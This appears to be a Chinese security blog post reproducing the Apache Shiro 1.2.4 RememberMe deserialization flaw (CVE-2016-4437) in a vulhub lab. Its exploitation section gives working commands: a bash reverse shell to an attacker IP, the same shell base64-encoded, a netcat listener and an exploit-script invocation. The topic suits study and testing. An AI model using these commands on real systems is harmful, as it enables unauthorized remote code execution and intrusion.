freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Shiro-CVE-2016-4437 漏洞复现
2023-07-24 09:51:24
所属地 北京

Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )



1. 简介

1.1 Apache Shiro

Apache Shiro(简称 Shiro)是一个功能强大且易于使用的 Java 安全框架,用于身份验证、授权和加密等安全功能。它提供了一套统一的安全API,可以轻松地集成到Java应用程序中。

Shiro 的主要功能包括:

  1. 身份验证:Shiro 可以处理用户身份验证,支持各种常见的认证方式,如用户名/密码、LDAP、OAuth 等。它还提供了许多可插拔的身份验证 Realm,可以根据自己的需求进行定制。

  2. 授权:Shiro 提供了基于角色和权限的授权机制。您可以定义角色和权限,并在代码中进行简单的注解或编程式授权。Shiro 还支持细粒度的权限控制,可以对单个资源进行授权。

  3. 会话管理:Shiro 可以管理用户会话,支持不同的会话存储方式,如内存、数据库、Redis 等。它提供了会话管理和集群环境下的会话共享功能。

  4. 密码加密:Shiro 提供了对密码进行加密和散列的功能,可以确保用户密码的安全性。

  5. Web集成:Shiro 提供了与 Java Web 技术的无缝集成,支持常见的 Web 框架,如Spring MVC、Struts等。

1.2 工 作 原 理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑为:

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:

1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

1.3 漏洞描述

漏洞说明
受影响版本Apache Shiro <= 1.2.4
漏洞名称Apache Shiro 1.2.4 反序列化漏洞,即shiro-550反序列化漏洞。
漏洞编号CVE-2016-4437
危害等级高危
漏洞类型RCE

Shiro550 反序列化漏洞原理:

  • 记住我的功能开启之后,会有Cookie 数据,Cookie 数据其实就是加密后的经过序列化的用户对象,也就是二进制字节流。

  • 加密算法是AES 算法,算法很安全,但是秘钥是固定的,并且存储于源码中。

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

2.漏洞复现

系统工具脚本
kali(2023)docker,burpsuit(2022版)shiro_exploit.py(基于python3,jdk1.8),shiro_attack-4.5.3-SNAPSHOT-all.jar

环境搭建:

https://pan.baidu.com/s/1zEFf_xS5NQNm1EZwf6DvuA提取码:ol6p

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

2.1 搭建环境

使用vulhub进行环境搭建,cd shiro,执行docker-compose up -d启动漏洞环境

cd /home/kali/vulhub/fastjson/1.2.24-rce/
sudo docker -compose up -d

1690162030_64bdd36ea33b8ac316093.png!small?1690162031477

访问8080,如下环境搭建成功

1690162040_64bdd378219f5403dc32a.png!small?1690162040953

2.2 判断框架

勾选RememberMe字段,输入任意账号与密码,点击登录,返回包set-Cookie会有rememberMe=deleteMe字段,说明使用了shiro框架,但是不知道版本

1690162061_64bdd38df28bbbefafaa5.png!small?1690162062604

1690162080_64bdd3a0d029d3d09de63.png!small?1690162081675

2.3 漏洞验证

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证

  1. 检测是否存在漏洞(dnslog)

首先去dnslog平台获取一个子域 -》DNSLog Platform

python shiro_exploit.py -t 3 -u 目标地址 -p "ping -c 2 dnslog"

1690162096_64bdd3b019c545df7ce8d.jpg!small?1690162096805

查看dnslog平台,如下,说明漏洞存在

1690162104_64bdd3b8cffdaa312922e.jpg!small?1690162105401

2.检测是否存在漏洞(shiro_attack-4.5.3-SNAPSHOT-all.jar)

1690162117_64bdd3c53c76c241cb0a0.png!small?1690162117970

2.4 漏洞利用

(1)加密反弹shell语句

这里反弹shell的命令需要进行加密才能执行,加密网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T

bash -i >& /dev/tcp/攻击机ip/监听的端口 0>&1
bash -i >& /dev/tcp/10.9.46.170/6666 0>&1

进行加密(Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

1690162137_64bdd3d99db568affe1f1.png!small?1690162138181

(2)vps开启监听

sudo nc -lvp 6666

1690162170_64bdd3fac296a25cd47aa.png!small?1690162171586

(3)执行反弹语句

cd /home/kali/tools/java-unserialize/ysoserial/target/Shiro_exploit-master/
python shiro_exploit.py -t 3 -u 10.9.46.170:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

1690162187_64bdd40b4e47f51302eb2.png!small?1690162189326

(4)接收反弹shell

1690162193_64bdd41116f809314def2.png!small?1690162193961

jar工具

相较于上面的python脚本,图形化工具操作起来更加的简单

1690162216_64bdd428bd4dae95493a8.png!small?1690162217611

1690162227_64bdd433ae259e02adfc4.png!small?1690162228417

3 总结

3.1修复建议

1、升级Apache Shiro

2、部署安全产品

3.2参考文章

(102条消息) Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )shiro不出网怎么利用山山而川'的博客-CSDN博客

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 数据安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录